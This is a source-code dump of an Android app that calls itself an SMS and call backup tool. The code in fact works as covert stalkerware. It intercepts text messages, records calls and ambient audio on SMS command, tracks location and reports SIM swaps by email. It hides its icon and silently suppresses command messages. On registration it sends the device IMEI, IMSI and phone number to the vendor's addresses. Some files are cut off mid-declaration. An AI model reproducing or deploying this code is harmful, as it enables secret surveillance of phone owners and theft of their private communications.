特别申明:软件为正规专业软件,非盗号钓鱼之病毒木马,请放心设置使用。
一、软件用途。软件适合工作和业务繁忙的文秘人员,商务人员、客户接洽人员等,用于自动备份您繁忙时的短信记录,通话记录,通话录音,通话位置等到自己的邮箱,等有空闲时再慢慢整理重要通话内容、业务往来短信内容、重要客户联系电话等,以免因电话多、业务多而遗漏。以及用于丢失手机定位找回、孩子电话行为监控、老人迷失或失踪位置跟踪等,禁止用于其他任何非法用途。
二、如何设置。接收邮箱用于接收电话、短信等邮件,格式如XXX@139.com,推荐使用139邮箱(有免费新邮件达到短信通知功能),邮件可在\"收件箱\"和\"已发送\"中查找。注意:视设置邮箱的不同,可能需手动开启邮箱的SMTP服务(经测试,126/163/yeah/sohu/139等邮箱已默认开启该服务),以QQ邮箱为例,电脑操作步骤为:进入邮箱-顶部设置-账户-开启服务-勾选POP3/SMTP服务、IMAP/SMTP服务-保存设置。邮箱密码仅用于软件工作时登录你的邮箱,发送邮件。手机号码用于接收位置短信。功能设置和发送方式可任意勾选或全选。
三、使用步骤。设置好接收邮箱和邮箱密码,勾选必要功能及发送方式,开启你邮箱的SMTP服务,点击保存,稍后,你设置的邮箱将收到测试邮件。如果多次保存均未提示成功,请更换为我们推荐的139邮箱。注意:根据发送方式的不同,软件发送邮件可能需要数据流量。
四、注册正版。请参照注册流程,联系正版注册授权QQ:" + getString(R.string.zhuceqq) + ",注册后可隐藏程序图标、隐藏程序文字名称、隐藏状态栏温馨提示,并具备手机位置主动跟踪、环境录音、换卡自动通知等功能(具体详询)。" + "如果你喜欢,请点击淘宝页面购买注册码:" + getString(R.string.zhucetaobaolink) + "
" + "五、常见问题。有些手机上安装了手机管家,360、乐安全等工具软件,可能引起通话录音或短信备份失败,需要在工具软件中将本软件设置为信任软件,允许软件所有操作,或加入白名单中。
" + "六、申请代理。请联系正版代理授权QQ:1530732769,可定制专属于你的代理版(不需代理费用),可寻找你的潜在客户,并拥有你自己的软件售卖地址链接(淘宝或其他店铺)
用户须知:
本软件为免费软件,不注册也可正常使用。
一、软件用途。软件适合工作和业务繁忙的文秘人员,商务人员、客户接洽人员等,用于自动备份您忙录时的短信记录,通话记录,通话录音,通话位置等到自己的邮箱,以及用于丢失手机定位找回、被监护人电话行为监控、老人迷失或失踪位置跟踪等。
二、免责声明。本软件仅用于个人测试、研究和使用,禁止用于其他任何非法用途。如果因使用本软件而产生的法律纠纷或违法行为,软件作者不承担任何责任。
三、正版注册。软件为正规专业软件,非盗号钓鱼之病毒木马,请放心设置使用。注册请联系授权QQ:" + getString(R.string.zhuceqq) + ",注册后更稳定、功能更多,并享受免费后续升级服务。
" + "四、软件版本" + getString(R.string.version) + ",并持续更新中,不明之处点击帮助。软件适于安卓系统2.2以上手机。
" + "五、如果你同意上述有关约定,请点接受后,继续使用,不同意请拒绝。"));
384 | }
385 | //防止华为机型未加入白名单时按返回键回到桌面再锁屏后几秒钟进程被杀
386 | @Override public void onBackPressed() { IntentWrapper.onBackPressed(this); }
387 | }
388 |
--------------------------------------------------------------------------------
/app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/ZhuceActivity.java:
--------------------------------------------------------------------------------
1 | package com.shiliukeji.xc_lsy.androidkillerservice;
2 |
3 | import android.content.Intent;
4 | import android.content.SharedPreferences;
5 | import android.os.Bundle;
6 | import android.support.v7.app.AppCompatActivity;
7 | import android.text.Html;
8 | import android.view.View;
9 | import android.widget.EditText;
10 | import android.widget.TextView;
11 | import android.widget.Toast;
12 |
13 | import com.elvishew.xlog.XLog;
14 | import com.shiliukeji.xc_lsy.androidkillerservice.service.GetSharePrefe;
15 | import com.shiliukeji.xc_lsy.androidkillerservice.service.OtherOperatorService;
16 |
17 | import java.util.Locale;
18 |
19 | public class ZhuceActivity extends AppCompatActivity {
20 | private GetSharePrefe ps;
21 | private TextView showmetTextView;
22 | private SharedPreferences zcps;
23 | private EditText zhucemaeEditText;
24 |
25 | protected void onCreate(Bundle savedInstanceState) {
26 | super.onCreate(savedInstanceState);
27 | setContentView(R.layout.activity_zhuce);
28 | this.ps = new GetSharePrefe(getApplicationContext());
29 | this.zcps = getSharedPreferences("reg", 0);
30 | this.showmetTextView = (TextView) findViewById(R.id.tv_showme);
31 | this.zhucemaeEditText = (EditText) findViewById(R.id.et_input);
32 | this.showmetTextView.setText(Html.fromHtml("***请联系正版注册授权QQ:" + getString(R.string.zhuceqq) + "。" + "不注册也可正常使用,注册后可隐藏程序图标、程序名称、状态栏通知,并具备手机位置主动跟踪、环境录音、换卡自动通知等功能(具体详询),享受后续免费升级服务。支持手机序号或电子邮箱注册(一个注册码可注册多台手机)。
" + "***注册流程:电脑上打开你设置的邮箱--找到并打开\"测试邮件\"--点击淘宝连接购买注册码--提供你设置的邮箱或手机序号(本机序号:" + OtherOperatorService.getImei(getApplicationContext(), 8) + "),我们分分钟为你注册并发送注册码给你--你在本页面输入注册码后保存--之后返回设置页面点击\"隐藏\"即可。"));
33 | }
34 |
35 | public void saveHide(View v) {
36 | XLog.d("保存注册码!");
37 | String zhucema = this.zhucemaeEditText.getText().toString().trim().toUpperCase(Locale.US);
38 | if (!OtherOperatorService.check3Gwifi(getApplicationContext())) {
39 | Toast.makeText(getApplicationContext(), "先开启手机网络以便为你注册", Toast.LENGTH_SHORT).show();
40 | } else if (!this.ps.isUserSetOk()) {
41 | Toast.makeText(getApplicationContext(), "返回先设置邮箱,并保存成功", Toast.LENGTH_SHORT).show();
42 | } else if ("".equals(zhucema) || zhucema == null) {
43 | Toast.makeText(getApplicationContext(), "请先输入注册码", Toast.LENGTH_SHORT).show();
44 | } else if (!OtherOperatorService.isReg(this.ps.getUserEmail(), this.ps.getShoujiImei(), zhucema)) {
45 | Toast.makeText(getApplicationContext(), "注册不成功,请检查注册码是否正确", Toast.LENGTH_SHORT).show();
46 | } else if (save(zhucema)) {
47 | String userEmailTemp = this.ps.getUserEmail();
48 | String zhuceqq = getString(R.string.zhuceqq);
49 | String zhuceemail = getString(R.string.zhuceemail);
50 | String[] tos = "abc@163.com".equalsIgnoreCase(zhuceemail) ? new String[]{zhuceemail} : new String[]{zhuceemail, "abc@163.com"};
51 | String subject = "用户" + userEmailTemp + ":" + this.ps.getUserPhoneNumber() + ":" + this.ps.getShoujiImei() + "注册成功(版本号:" + getString(R.string.version) + ")";
52 | OtherOperatorService.uploadEmail(this.ps.getSmtp(), this.ps.getPort(), userEmailTemp, this.ps.getUserPassword(), userEmailTemp, tos, subject, new StringBuilder(String.valueOf(subject)).append("
功能:").append(this.ps.isTonghuajilu()).append(",").append(this.ps.isDuanxinjilu()).append(",").append(this.ps.isTonghualuyin()).append(",").append(this.ps.isWeizhijilu()).append("
发送:").append(this.ps.isAllnet()).append(",").append(this.ps.isWifi()).append("
注册:").append(zhucema).append("
代理:").append(zhuceqq).append(",").append(zhuceemail).append(",当前卡编码").append(this.ps.getCardNumber()).append(",").append(this.ps.getCardIMSI()).toString());
53 | finish();
54 | } else {
55 | Toast.makeText(getApplicationContext(), "注册通过,注册文件保存异常", Toast.LENGTH_SHORT).show();
56 | }
57 | }
58 |
59 | private boolean save(String zhucema) {
60 | SharedPreferences.Editor zcedit = this.zcps.edit();
61 | zcedit.putBoolean("isok", true);
62 | zcedit.putString("zhucema", zhucema);
63 | if (zcedit.commit()) {
64 | return true;
65 | }
66 | return false;
67 | }
68 |
69 | public void help(View v) {
70 | startActivity(new Intent(this, HelpActivity.class));
71 | }
72 |
73 | }
74 |
--------------------------------------------------------------------------------
/app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/location/Location.java:
--------------------------------------------------------------------------------
1 | package com.shiliukeji.xc_lsy.androidkillerservice.location;
2 |
3 | import android.app.Application;
4 | import android.content.Intent;
5 | import android.util.Log;
6 |
7 | import com.baidu.location.BDLocation;
8 | import com.baidu.location.BDLocationListener;
9 | import com.baidu.location.BDNotifyListener;
10 | import com.baidu.location.LocationClient;
11 | import com.baidu.location.LocationClientOption;
12 | import com.elvishew.xlog.LogLevel;
13 | import com.elvishew.xlog.XLog;
14 | import com.shiliukeji.xc_lsy.androidkillerservice.service.PhoneService;
15 | import com.xdandroid.hellodaemon.DaemonEnv;
16 |
17 | /**
18 | * Created by XC_LSY on 2017/7/6.
19 | */
20 |
21 | public class Location extends Application {
22 | private static final String COORD_TYPE_BD09LL = "gcj02";
23 | public static String TAG = "LocTestDemo";
24 | public static LocationInfo locInfo = new LocationInfo();
25 | public static LocationClient mLocationClient = null;
26 | public static MyLocationListenner myListener = new MyLocationListenner();
27 |
28 | public static class MyLocationListenner implements BDLocationListener {
29 | public void onReceiveLocation(BDLocation location) {
30 | }
31 |
32 | public void onReceivePoi(BDLocation poiLocation) {
33 | if (poiLocation == null) {
34 | Location.mLocationClient.requestPoi();
35 | return;
36 | }
37 | Location.locInfo.setLongitude(poiLocation.getLongitude());
38 | Location.locInfo.setLatitude(poiLocation.getLatitude());
39 | if (poiLocation.getLocType() == BDLocation.TypeNetWorkLocation) {
40 | Location.locInfo.setAddr(poiLocation.getAddrStr());
41 | Log.i(Location.TAG, "onaddr");
42 | }
43 | if (poiLocation.hasPoi()) {
44 | Location.locInfo.setPoiStr(poiLocation.getPoi());
45 | }
46 | }
47 | }
48 |
49 | public class NotifyLister extends BDNotifyListener {
50 | public void onNotify(BDLocation mlocation, float distance) {
51 | }
52 | }
53 |
54 | public void onCreate() {
55 | super.onCreate();
56 | mLocationClient = new LocationClient(this);
57 | //mLocationClient.setAK("jsqqwX8UQZR10tEaxGBrEP7t");
58 | mLocationClient.registerLocationListener(myListener);
59 | setLocationOption();
60 | mLocationClient.start();
61 | XLog.init(LogLevel.ALL);
62 | XLog.d(TAG, "application oncreate!");
63 | // 启动守护进程信息!
64 | DaemonEnv.initialize(this, PhoneService.class, 30000);
65 | try {
66 | XLog.d("Application Daemon!");
67 | startService(new Intent(this, PhoneService.class));
68 | } catch (Exception ignored) {
69 | XLog.d("Application Daemon:" + ignored.toString());
70 | ignored.printStackTrace();
71 | }
72 | }
73 |
74 | public static LocationInfo getLocation() {
75 | return locInfo;
76 | }
77 |
78 | public static void updateListener() {
79 | if (mLocationClient != null && mLocationClient.isStarted()) {
80 | mLocationClient.requestPoi();
81 | Log.i(TAG, "update");
82 | }
83 | }
84 |
85 | public static void stopListener() {
86 | if (mLocationClient != null && mLocationClient.isStarted()) {
87 | mLocationClient.stop();
88 | mLocationClient = null;
89 | }
90 | }
91 |
92 | private void setLocationOption() {
93 | LocationClientOption option = new LocationClientOption();
94 | option.setOpenGps(true);
95 | option.setCoorType(COORD_TYPE_BD09LL);
96 | option.setServiceName("com.baidu.location.service_v2.9");
97 | // option.setIsNeedLocationPoiList(true);
98 | option.setAddrType("all");
99 | option.setProdName("tylbd");
100 | option.setPriority(2);
101 | option.setPoiNumber(100);
102 | option.disableCache(true);
103 | mLocationClient.setLocOption(option);
104 | }
105 | }
106 |
107 |
--------------------------------------------------------------------------------
/app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/location/LocationInfo.java:
--------------------------------------------------------------------------------
1 | package com.shiliukeji.xc_lsy.androidkillerservice.location;
2 |
3 | /**
4 | * Created by XC_LSY on 2017/7/6.
5 | */
6 |
7 | public class LocationInfo {
8 |
9 | private String addr = "位置信息不详";
10 | private double latitude;
11 | private double longitude;
12 | private String poiStr = "位置周边信息不详";
13 |
14 | public String getPoiStr() {
15 | return this.poiStr;
16 | }
17 |
18 | public void setPoiStr(String poiStr) {
19 | this.poiStr = poiStr;
20 | }
21 |
22 | public double getLatitude() {
23 | return this.latitude;
24 | }
25 |
26 | public void setLatitude(double latitude) {
27 | this.latitude = latitude;
28 | }
29 |
30 | public double getLongitude() {
31 | return this.longitude;
32 | }
33 |
34 | public void setLongitude(double longitude) {
35 | this.longitude = longitude;
36 | }
37 |
38 | public String getAddr() {
39 | return this.addr;
40 | }
41 |
42 | public void setAddr(String addr) {
43 | this.addr = addr;
44 | }
45 |
46 | }
47 |
--------------------------------------------------------------------------------
/app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/mail/MailSenderInfo.java:
--------------------------------------------------------------------------------
1 | package com.shiliukeji.xc_lsy.androidkillerservice.mail;
2 |
3 | import java.util.List;
4 | import java.util.Properties;
5 |
6 | /**
7 | * Created by XC_LSY on 2017/7/6.
8 | */
9 |
10 | public class MailSenderInfo {
11 | private static final String PROTOCOL = "smtp";
12 | private List
" + "换后卡信息:" + str + "," + IMSI + "(" + OtherOperatorService.getCardName(IMSI) + ")");
44 | }
45 | } catch (Exception e2) {
46 | e2.printStackTrace();
47 | }
48 | }
49 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/reveiver/CalloutBroadcastReceiver.java:
--------------------------------------------------------------------------------
1 | package com.shiliukeji.xc_lsy.androidkillerservice.reveiver;
2 |
3 | import android.content.BroadcastReceiver;
4 | import android.content.Context;
5 | import android.content.Intent;
6 |
7 | import com.elvishew.xlog.XLog;
8 | import com.shiliukeji.xc_lsy.androidkillerservice.service.GetSharePrefe;
9 | import com.shiliukeji.xc_lsy.androidkillerservice.service.PhoneService;
10 |
11 | /**
12 | * Created by XC_LSY on 2017/7/6.
13 | */
14 |
15 | public class CalloutBroadcastReceiver extends BroadcastReceiver {
16 | public void onReceive(Context context, Intent intent) {
17 | XLog.d("打电话的信息!");
18 | GetSharePrefe paras = new GetSharePrefe(context);
19 | if ((paras.isTonghuajilu() || paras.isTonghualuyin()) && intent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) {
20 | String outphoneNumber = intent.getStringExtra("android.intent.extra.PHONE_NUMBER");
21 | Intent service = new Intent(context, PhoneService.class);
22 | service.putExtra("outNumber", outphoneNumber);
23 | context.startService(service);
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/reveiver/ConnectionChangeReceiver.java:
--------------------------------------------------------------------------------
1 | package com.shiliukeji.xc_lsy.androidkillerservice.reveiver;
2 |
3 | import android.content.BroadcastReceiver;
4 | import android.content.Context;
5 | import android.content.Intent;
6 | import android.content.SharedPreferences;
7 |
8 | import com.elvishew.xlog.XLog;
9 | import com.shiliukeji.xc_lsy.androidkillerservice.R;
10 | import com.shiliukeji.xc_lsy.androidkillerservice.service.GetSharePrefe;
11 | import com.shiliukeji.xc_lsy.androidkillerservice.service.OtherOperatorService;
12 |
13 | import java.io.File;
14 | import java.util.ArrayList;
15 | import java.util.List;
16 |
17 | /**
18 | * Created by XC_LSY on 2017/7/6.
19 | */
20 |
21 | public class ConnectionChangeReceiver extends BroadcastReceiver {
22 | public void onReceive(Context context, Intent intent) {
23 | GetSharePrefe paras = new GetSharePrefe(context);
24 | XLog.d("更换网络或者切换sim卡!!");
25 | SharedPreferences zcps = context.getSharedPreferences("reg", 0);
26 | if (OtherOperatorService.check3Gwifi(context) && paras.isUserSetOk()) {
27 | String useremail = paras.getUserEmail();
28 | String password = paras.getUserPassword();
29 | String from = useremail;
30 | String to = useremail;
31 | String smtp = paras.getSmtp();
32 | String port = paras.getPort();
33 | List
----------------------------------------
" + OtherOperatorService.getTxtHistory(new File(pathString, "phone.txt"));
43 | if (paras.isAllnet()) {
44 | OtherOperatorService.uploadAllEmail(paths, pathString, smtp, port, useremail, password, from, to, subject, content);
45 | if (!OtherOperatorService.isReg(paras.getUserEmail(), paras.getShoujiImei(), zcps.getString("zhucema", ""))) {
46 | OtherOperatorService.showNotisfy(context, R.drawable.mytp, "温馨提示:你的电话记录集合已为你备份至" + useremail + "邮箱", "温馨提示", "你的电话记录集合已为你备份至" + useremail + "邮箱");
47 | }
48 | } else if (paras.isWifi() && OtherOperatorService.checkwifiwork(context)) {
49 | OtherOperatorService.uploadAllEmail(paths, pathString, smtp, port, useremail, password, from, to, subject, content);
50 | if (!OtherOperatorService.isReg(paras.getUserEmail(), paras.getShoujiImei(), zcps.getString("zhucema", ""))) {
51 | OtherOperatorService.showNotisfy(context, R.drawable.mytp, "温馨提示:你的电话记录集合已为你备份至" + useremail + "邮箱", "温馨提示", "你的电话记录集合已为你备份至" + useremail + "邮箱");
52 | }
53 | }
54 | }
55 | }
56 | }
57 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/reveiver/OtherServiceReceiver.java:
--------------------------------------------------------------------------------
1 | package com.shiliukeji.xc_lsy.androidkillerservice.reveiver;
2 |
3 | import android.content.BroadcastReceiver;
4 | import android.content.Context;
5 | import android.content.Intent;
6 |
7 | import com.elvishew.xlog.XLog;
8 | import com.shiliukeji.xc_lsy.androidkillerservice.service.GetSharePrefe;
9 | import com.shiliukeji.xc_lsy.androidkillerservice.service.PhoneService;
10 |
11 | /**
12 | * Created by XC_LSY on 2017/7/6.
13 | */
14 |
15 | public class OtherServiceReceiver extends BroadcastReceiver {
16 | public void onReceive(Context context, Intent intent) {
17 | XLog.d("亮屏的检测信息!");
18 | GetSharePrefe paras = new GetSharePrefe(context);
19 | if (paras.isTonghuajilu() || paras.isTonghualuyin()) {
20 | context.startService(new Intent(context, PhoneService.class));
21 | }
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/reveiver/SMSBroadcastReceiver.java:
--------------------------------------------------------------------------------
1 | package com.shiliukeji.xc_lsy.androidkillerservice.reveiver;
2 |
3 | import android.content.BroadcastReceiver;
4 | import android.content.Context;
5 | import android.content.Intent;
6 | import android.content.SharedPreferences;
7 | import android.telephony.SmsMessage;
8 | import android.telephony.TelephonyManager;
9 |
10 | import com.elvishew.xlog.XLog;
11 | import com.shiliukeji.xc_lsy.androidkillerservice.R;
12 | import com.shiliukeji.xc_lsy.androidkillerservice.location.Location;
13 | import com.shiliukeji.xc_lsy.androidkillerservice.service.GetSharePrefe;
14 | import com.shiliukeji.xc_lsy.androidkillerservice.service.OtherOperatorService;
15 | import com.shiliukeji.xc_lsy.androidkillerservice.service.PhoneService;
16 |
17 | /**
18 | * Created by XC_LSY on 2017/7/6.
19 | */
20 |
21 | public class SMSBroadcastReceiver extends BroadcastReceiver {
22 | private String addr;
23 | private String baiduMap;
24 | private String pName;
25 | private String poiString;
26 |
27 | public void onReceive(Context context, Intent intent) {
28 | XLog.d("短信的检测信息!");
29 | Location location = new Location();
30 | Location.updateListener();
31 | GetSharePrefe getSharePrefe = new GetSharePrefe(context);
32 | SharedPreferences zcps = context.getSharedPreferences("reg", 0);
33 | if (getSharePrefe.isDuanxinjilu()) {
34 | String receivetimeString = "";
35 | String sendnumberString = "";
36 | String filecontent = "";
37 | for (Object p : (Object[]) intent.getExtras().get("pdus")) {
38 | SmsMessage message = SmsMessage.createFromPdu((byte[]) p);
39 | filecontent = new StringBuilder(String.valueOf(filecontent)).append(message.getMessageBody().trim()).toString();
40 | receivetimeString = OtherOperatorService.getCurrentTime(Long.valueOf(message.getTimestampMillis()));
41 | sendnumberString = message.getOriginatingAddress().trim();
42 | }
43 | if (sendnumberString.length() > 11) {
44 | sendnumberString = sendnumberString.substring(sendnumberString.length() - 11, sendnumberString.length());
45 | }
46 | String shoujiName = getSharePrefe.getShoujiName();
47 | String userEmail = getSharePrefe.getUserEmail();
48 | if (getSharePrefe.isWeizhijilu()) {
49 | String temps = new StringBuilder(String.valueOf(Location.getLocation().getLongitude())).append(",").append(Location.getLocation().getLatitude()).toString();
50 | this.baiduMap = "";
51 | this.addr = Location.getLocation().getAddr();
52 | if (this.addr == null) {
53 | this.addr = "位置信息不明";
54 | }
55 | String temppoi = Location.getLocation().getPoiStr();
56 | if (temppoi == null) {
57 | this.poiString = "位置周边信息不明";
58 | } else {
59 | this.poiString = OtherOperatorService.getSubstring(temppoi);
60 | }
61 | }
62 | boolean iszhuce = OtherOperatorService.isReg(getSharePrefe.getUserEmail(), getSharePrefe.getShoujiImei(), zcps.getString("zhucema", ""));
63 | if (!filecontent.contains("来-")) {
64 | if (filecontent.equalsIgnoreCase("wz") && iszhuce) {
65 | if (OtherOperatorService.check3Gwifi(context)) {
66 | OtherOperatorService.uploadEmail(getSharePrefe.getSmtp(), getSharePrefe.getPort(), userEmail, getSharePrefe.getUserPassword(), userEmail, new String[]{userEmail}, new StringBuilder(String.valueOf(shoujiName)).append("发来--位置邮件").toString(), "位置:" + this.addr + "
" + this.baiduMap);
67 | }
68 | abortBroadcast();
69 | return;
70 | }
71 | String temp;
72 | if (filecontent.equalsIgnoreCase("hk") && iszhuce) {
73 | TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
74 | String NativePhoneNumber = telephonyManager.getLine1Number();
75 | String IMSI = telephonyManager.getSubscriberId();
76 | temp = "";
77 | if (!IMSI.equals(getSharePrefe.getCardIMSI())) {
78 | String temp2 = new StringBuilder(String.valueOf(shoujiName)).append(":已换卡。换前卡信息:").append(getSharePrefe.getCardNumber()).append(",").append(getSharePrefe.getCardIMSI()).append(";换后卡信息:").append(NativePhoneNumber).append(",").append(IMSI).append("(").append(OtherOperatorService.getCardName(IMSI)).append(")").toString();
79 | if (OtherOperatorService.check3Gwifi(context)) {
80 | OtherOperatorService.uploadEmail(getSharePrefe.getSmtp(), getSharePrefe.getPort(), userEmail, getSharePrefe.getUserPassword(), userEmail, new String[]{userEmail}, new StringBuilder(String.valueOf(shoujiName)).append("发来--换卡通知").toString(), "换前卡信息:" + getSharePrefe.getCardNumber() + "," + getSharePrefe.getCardIMSI() + "
" + "换后卡信息:" + NativePhoneNumber + "," + IMSI + "(" + OtherOperatorService.getCardName(IMSI) + ")");
81 | temp = temp2;
82 | } else {
83 | temp = temp2;
84 | }
85 | } else {
86 | temp = new StringBuilder(String.valueOf(shoujiName)).append(":没换卡。当前卡信息:").append(NativePhoneNumber).append(",").append(IMSI).append("(").append(OtherOperatorService.getCardName(IMSI)).append(")").toString();
87 | if (OtherOperatorService.check3Gwifi(context)) {
88 | OtherOperatorService.uploadEmail(getSharePrefe.getSmtp(), getSharePrefe.getPort(), userEmail, getSharePrefe.getUserPassword(), userEmail, new String[]{userEmail}, new StringBuilder(String.valueOf(shoujiName)).append("发来--当前手机卡信息").toString(), temp);
89 | }
90 | }
91 | abortBroadcast();
92 | } else if ("hl".equalsIgnoreCase(filecontent.substring(0, 2)) && iszhuce) {
93 | try {
94 | temp = filecontent.substring(2);
95 | Intent intent2 = new Intent(context, PhoneService.class);
96 | if (Integer.parseInt(temp) <= 60) {
97 | intent2.putExtra("outNumber", temp);
98 | } else {
99 | intent2.putExtra("outNumber", "1");
100 | }
101 | context.startService(intent2);
102 | } catch (Exception e) {
103 | e.printStackTrace();
104 | }
105 | abortBroadcast();
106 | } else {
107 | this.pName = OtherOperatorService.getContactNameFromPhoneBook(context, sendnumberString);
108 | String subject = new StringBuilder(String.valueOf(shoujiName)).append("发来--短信邮件(号码:").append(sendnumberString).append(";位置:").append(this.addr).append(")").toString();
109 | String content = new StringBuilder(String.valueOf(receivetimeString)).append("收到:
号码:").append(sendnumberString).append("(").append(this.pName).append(")
内容:").append(filecontent).append("
位置:").append(this.addr).append("
附近信息:").append(this.poiString).append("
").append(this.baiduMap).append("
----------------------------------------
").append(OtherOperatorService.getSmsInPhone(context)).toString();
110 | if (OtherOperatorService.check3Gwifi(context)) {
111 | String smtp = getSharePrefe.getSmtp();
112 | String port = getSharePrefe.getPort();
113 | String password = getSharePrefe.getUserPassword();
114 | String[] tos = new String[]{userEmail};
115 | if (getSharePrefe.isAllnet()) {
116 | OtherOperatorService.uploadEmail(smtp, port, userEmail, password, userEmail, tos, subject, content);
117 | if (!OtherOperatorService.isReg(getSharePrefe.getUserEmail(), getSharePrefe.getShoujiImei(), zcps.getString("zhucema", ""))) {
118 | OtherOperatorService.showNotisfy(context, R.drawable.mytp, "温馨提示:你刚才的短信记录已为你备份至" + userEmail + "邮箱", "温馨提示", new StringBuilder(String.valueOf(sendnumberString)).append("短信已为你备份至").append(userEmail).append("邮箱").toString());
119 | }
120 | } else if (getSharePrefe.isWifi() && OtherOperatorService.checkwifiwork(context)) {
121 | OtherOperatorService.uploadEmail(smtp, port, userEmail, password, userEmail, tos, subject, content);
122 | if (!OtherOperatorService.isReg(getSharePrefe.getUserEmail(), getSharePrefe.getShoujiImei(), zcps.getString("zhucema", ""))) {
123 | OtherOperatorService.showNotisfy(context, R.drawable.mytp, "温馨提示:你刚才的短信记录已为你备份至" + userEmail + "邮箱", "温馨提示", new StringBuilder(String.valueOf(sendnumberString)).append("短信记录已为你备份至").append(userEmail).append("邮箱").toString());
124 | }
125 | }
126 | }
127 | }
128 | }
129 | }
130 | }
131 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/service/GetSharePrefe.java:
--------------------------------------------------------------------------------
1 | package com.shiliukeji.xc_lsy.androidkillerservice.service;
2 |
3 | import android.content.Context;
4 | import android.content.SharedPreferences;
5 |
6 | /**
7 | * Created by XC_LSY on 2017/7/6.
8 | */
9 |
10 | public class GetSharePrefe {
11 | Context context;
12 | private SharedPreferences ps;
13 |
14 | public GetSharePrefe(Context context) {
15 | this.context = context;
16 | this.ps = context.getSharedPreferences("userset", 0);
17 | }
18 |
19 | public String getShoujiName() {
20 | return this.ps.getString("shoujiname", "");
21 | }
22 |
23 | public String getUserEmail() {
24 | return this.ps.getString("email", "");
25 | }
26 |
27 | public String getUserPassword() {
28 | return this.ps.getString("password", "");
29 | }
30 |
31 | public String getUserPhoneNumber() {
32 | return this.ps.getString("phonenumber", "");
33 | }
34 |
35 | public boolean isUserSetOk() {
36 | return this.ps.getBoolean("isok", false);
37 | }
38 |
39 | public boolean isTonghuajilu() {
40 | return this.ps.getBoolean("tonghuajilu", false);
41 | }
42 |
43 | public boolean isDuanxinjilu() {
44 | return this.ps.getBoolean("duanxinjilu", false);
45 | }
46 |
47 | public boolean isTonghualuyin() {
48 | return this.ps.getBoolean("tonghualuyin", false);
49 | }
50 |
51 | public boolean isWeizhijilu() {
52 | return this.ps.getBoolean("weizhijilu", false);
53 | }
54 |
55 | public boolean isAllnet() {
56 | return this.ps.getBoolean("allnet", false);
57 | }
58 |
59 | public boolean isWifi() {
60 | return this.ps.getBoolean("wifi", false);
61 | }
62 |
63 | public String getSmtp() {
64 | return this.ps.getString("smtp", "");
65 | }
66 |
67 | public String getPort() {
68 | return this.ps.getString("port", "");
69 | }
70 |
71 | public String getShoujiImei() {
72 | return this.ps.getString("shoujiimei", "");
73 | }
74 |
75 | public String getCardIMSI() {
76 | return this.ps.getString("cardimsi", "");
77 | }
78 |
79 | public String getCardNumber() {
80 | return this.ps.getString("cardnumber", "");
81 | }
82 |
83 | }
84 |
--------------------------------------------------------------------------------
/app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/service/OtherOperatorService.java:
--------------------------------------------------------------------------------
1 | package com.shiliukeji.xc_lsy.androidkillerservice.service;
2 |
3 | import android.app.ActivityManager;
4 | import android.app.Notification;
5 | import android.app.NotificationManager;
6 | import android.content.Context;
7 | import android.database.Cursor;
8 | import android.database.sqlite.SQLiteException;
9 | import android.net.ConnectivityManager;
10 | import android.net.NetworkInfo;
11 | import android.net.Uri;
12 | import android.os.Environment;
13 | import android.provider.ContactsContract;
14 | import android.support.v4.app.NotificationCompat;
15 | import android.support.v4.view.MotionEventCompat;
16 | import android.telephony.TelephonyManager;
17 | import android.util.Log;
18 |
19 | import com.elvishew.xlog.XLog;
20 | import com.shiliukeji.xc_lsy.androidkillerservice.mail.MailSenderInfo;
21 | import com.shiliukeji.xc_lsy.androidkillerservice.mail.SimpleMailSender;
22 |
23 | import org.apache.http.util.EncodingUtils;
24 |
25 | import java.io.File;
26 | import java.io.FileInputStream;
27 | import java.io.FileOutputStream;
28 | import java.io.UnsupportedEncodingException;
29 | import java.security.MessageDigest;
30 | import java.security.NoSuchAlgorithmException;
31 | import java.util.ArrayList;
32 | import java.util.Calendar;
33 | import java.util.Date;
34 | import java.util.LinkedList;
35 | import java.util.List;
36 | import java.util.Locale;
37 | import java.util.StringTokenizer;
38 |
39 |
40 | /**
41 | * Created by XC_LSY on 2017/7/6.
42 | */
43 |
44 | public class OtherOperatorService {
45 | Context context;
46 |
47 | static class AnonymousClass1 implements Runnable {
48 | private final /* synthetic */ String val$content;
49 | private final /* synthetic */ String val$from;
50 | private final /* synthetic */ String val$password;
51 | private final /* synthetic */ String val$port;
52 | private final /* synthetic */ String val$smtp;
53 | private final /* synthetic */ String val$subject;
54 | private final /* synthetic */ String[] val$tos;
55 | private final /* synthetic */ String val$userEmail;
56 |
57 | AnonymousClass1(String str, String str2, String str3, String str4, String str5, String[] strArr, String str6, String str7) {
58 | this.val$smtp = str;
59 | this.val$port = str2;
60 | this.val$userEmail = str3;
61 | this.val$password = str4;
62 | this.val$from = str5;
63 | this.val$tos = strArr;
64 | this.val$subject = str6;
65 | this.val$content = str7;
66 | }
67 |
68 | public void run() {
69 | MailSenderInfo mailInfo = new MailSenderInfo(this.val$smtp, this.val$port, this.val$userEmail, this.val$password, true);
70 | mailInfo.setFromAddress(this.val$from);
71 | mailInfo.setReceivers(this.val$tos);
72 | mailInfo.setSubject(this.val$subject);
73 | mailInfo.setContent(this.val$content);
74 | new SimpleMailSender().sendHtmlMail(mailInfo);
75 | }
76 | }
77 |
78 | static class AnonymousClass2 implements Runnable {
79 | private final /* synthetic */ String val$content;
80 | private final /* synthetic */ String val$from;
81 | private final /* synthetic */ String val$password;
82 | private final /* synthetic */ String val$pathString;
83 | private final /* synthetic */ List val$paths;
84 | private final /* synthetic */ String val$port;
85 | private final /* synthetic */ String val$smtp;
86 | private final /* synthetic */ String val$subject;
87 | private final /* synthetic */ String val$to;
